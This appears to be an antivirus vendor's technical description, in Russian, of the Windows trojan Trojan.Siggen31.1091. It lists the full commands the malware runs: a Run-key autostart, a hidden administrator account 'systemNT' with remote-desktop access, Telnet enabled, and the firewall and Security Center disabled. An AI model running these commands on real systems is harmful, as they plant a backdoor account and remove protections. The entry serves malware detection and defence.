Trojan.Siggen31.1091

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'svctt' = '%WINDIR%\config\system2.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Центр обеспечения безопасности (Security Center)

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' localgroup Administrators systemNT /add
'%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" systemNT /add
'%WINDIR%\syswow64\net.exe' user systemNT systemNT /add

Изменения в файловой системе

Создает следующие файлы

<SYSTEM32>\microsoft\protect\s-1-5-20\1285d872-0d16-444a-b17a-71840304295b
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814

Другое

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svctt" /t REG_SZ /d "%WINDIR%\config\system2.exe" /f (со скрытым окном)
'%WINDIR%\syswow64\net1.exe' localgroup Administrators systemNT /add
'%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" systemNT /add
'%WINDIR%\syswow64\sc.exe' start tlntsvr
'%WINDIR%\syswow64\sc.exe' config SharedAccess start= disabled
'%WINDIR%\syswow64\sc.exe' stop SharedAccess
'%WINDIR%\syswow64\sc.exe' config wscsvc start= disabled
'%WINDIR%\syswow64\sc.exe' stop wscsvc
'%WINDIR%\syswow64\sc.exe' config tlntsvr start= auto
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\net.exe' accounts /maxpwage:unlimited
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svctt" /t REG_SZ /d "%WINDIR%\config\system2.exe" /f
'%WINDIR%\syswow64\net1.exe' user systemNT systemNT /add
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systemNT /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c sc start tlntsvr (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc stop SharedAccess (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc stop wscsvc (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc config tlntsvr start= auto (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc config SharedAccess start= disabled (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c sc config wscsvc start= disabled (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systemNT /t REG_DWORD /d 0 /f (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net accounts /maxpwage:unlimited (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net localgroup "Remote Desktop Users" systemNT /add (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net localgroup Administrators systemNT /add (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c net user systemNT systemNT /add (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f (со скрытым окном)
'%WINDIR%\syswow64\net1.exe' accounts /maxpwage:unlimited